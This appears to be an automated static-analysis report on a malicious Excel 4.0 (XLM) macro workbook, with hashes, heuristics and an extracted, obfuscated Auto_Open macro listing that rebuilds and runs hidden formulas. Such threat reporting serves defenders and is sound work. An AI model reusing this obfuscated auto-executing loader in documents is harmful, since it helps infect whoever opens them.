Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e027b3db5769aabc…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:39:13 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: bc5d30d8bb8f046f8c9d3c4c46bd0392 SHA-1: 83f3a89d63018854be6576d6fa0a20ee351b80a5 SHA-256: e027b3db5769aabc8bd2ae364fa3a8dd499eb469d34f5416ef100cbcb508ee3e
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 (XLM) macros, specifically an Auto_Open defined name, which is a critical finding indicating automatic execution upon opening. The presence of dangerous formula APIs like RUN suggests the macro is designed to execute arbitrary code, likely downloading and running a second-stage payload. The document body contains mostly obfuscated or random-looking text, providing no clear user-facing lure.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6610 bytes
SHA-256: b07f561cfc8f297df4bdd840a8cfb36413d2a987baf5c58ceec11d6ba6661ad8
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  cmdOIGuTt
' 0018     22 LABEL : Cell Value, String Constant - AgfsAoL len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A140 
' 0018     27 LABEL : Cell Value, String Constant - auwqkPWaquih len=0 
' 0018     23 LABEL : Cell Value, String Constant - awZHlxCP len=0 
' 0018     22 LABEL : Cell Value, String Constant - BTNolry len=0 
' 0018     21 LABEL : Cell Value, String Constant - bySYNw len=0 
' 0018     20 LABEL : Cell Value, String Constant - CiRqX len=0 
' 0018     27 LABEL : Cell Value, String Constant - EeNnJzWRggAl len=0 
' 0018     21 LABEL : Cell Value, String Constant - eMaXJg len=0 
' 0018     24 LABEL : Cell Value, String Constant - fgAgHMvJY len=0 
' 0018     23 LABEL : Cell Value, String Constant - HCwMYDpQ len=0 
' 0018     25 LABEL : Cell Value, String Constant - hjbAnRRsOi len=0 
' 0018     23 LABEL : Cell Value, String Constant - HRCWJIAj len=0 
' 0018     20 LABEL : Cell Value, String Constant - JzooS len=0 
' 0018     27 LABEL : Cell Value, String Constant - LAgPIQmwHZpr len=0 
' 0018     27 LABEL : Cell Value, String Constant - NaRGFqSMPNAm len=0 
' 0018     24 LABEL : Cell Value, String Constant - PGeozoqqF len=0 
' 0018     23 LABEL : Cell Value, String Constant - PNFjiRmW len=0 
' 0018     21 LABEL : Cell Value, String Constant - rgaTyT len=0 
' 0018     25 LABEL : Cell Value, String Constant - uQPTOIBjLg len=0 
' 0018     23 LABEL : Cell Value, String Constant - yRrPUPoj len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  cmdOIGuTt,A48,"SET.NAME("HRCWJIAj",VALUE("0"))",""
'  cmdOIGuTt,A51,"SET.NAME("bySYNw",HRCWJIAj)",""
'  cmdOIGuTt,A55,"SET.NAME("PNFjiRmW",HRCWJIAj)",""
'  cmdOIGuTt,A59,"SET.NAME("auwqkPWaquih",COUNTA(fgAgHMvJY))",""
'  cmdOIGuTt,A63,"SET.NAME("NaRGFqSMPNAm",COUNTA(AgfsAoL))",""
'  cmdOIGuTt,A67,[],""
'  cmdOIGuTt,A69,"SET.NAME("HCwMYDpQ","")",""
'  cmdOIGuTt,A72,"bySYNw",""
'  cmdOIGuTt,A75,"SET.NAME("awZHlxCP",HLOOKUP("*",fgAgHMvJY,bySYNw,FALSE))",""
'  cmdOIGuTt,A78,"LAgPIQmwHZpr",""
'  cmdOIGuTt,A83,"SET.NAME("JzooS",HRCWJIAj)",""
'  cmdOIGuTt,A85,[],""
'  cmdOIGuTt,A87,"JzooS",""
'  cmdOIGuTt,A92,"CiRqX",""
'  cmdOIGuTt,A97,"BTNolry",""
'  cmdOIGuTt,A100,"eMaXJg",""
'  cmdOIGuTt,A103,"SET.NAME("uQPTOIBjLg",VALUE(HLOOKUP("*",AgfsAoL,eMaXJg,FALSE)))",""
'  cmdOIGuTt,A106,"EeNnJzWRggAl",""
'  cmdOIGuTt,A110,"HCwMYDpQ",""
'  cmdOIGuTt,A115,"PNFjiRmW",""
'  cmdOIGuTt,A120,NEXT(),""
'  cmdOIGuTt,A125,"PGeozoqqF",""
'  cmdOIGuTt,A127,"SET.NAME("f",INT(T(FORMULA(T(HCwMYDpQ)&"",""&T(PGeozoqqF)))))",""
'  cmdOIGuTt,A129,"hjbAnRRsOi",""
'  cmdOIGuTt,A132,NEXT(),""
'  cmdOIGuTt,A136,RETURN(),""
'  cmdOIGuTt,A164,"SET.NAME("yRrPUPoj",A48)",""
'  cmdOIGuTt,A167,"fgAgHMvJY",""
'  cmdOIGuTt,A172,"SET.NAME("AgfsAoL",R95C14)",""
'  cmdOIGuTt,A175,"SET.NAME("hjbAnRRsOi",184)",""
'  cmdOIGuTt,A178,"SET.NAME("rgaTyT",1)",""
'  cmdOIGuTt,A183,yRrPUPoj(),""
'  cmdOIGuTt,A184,HALT(),""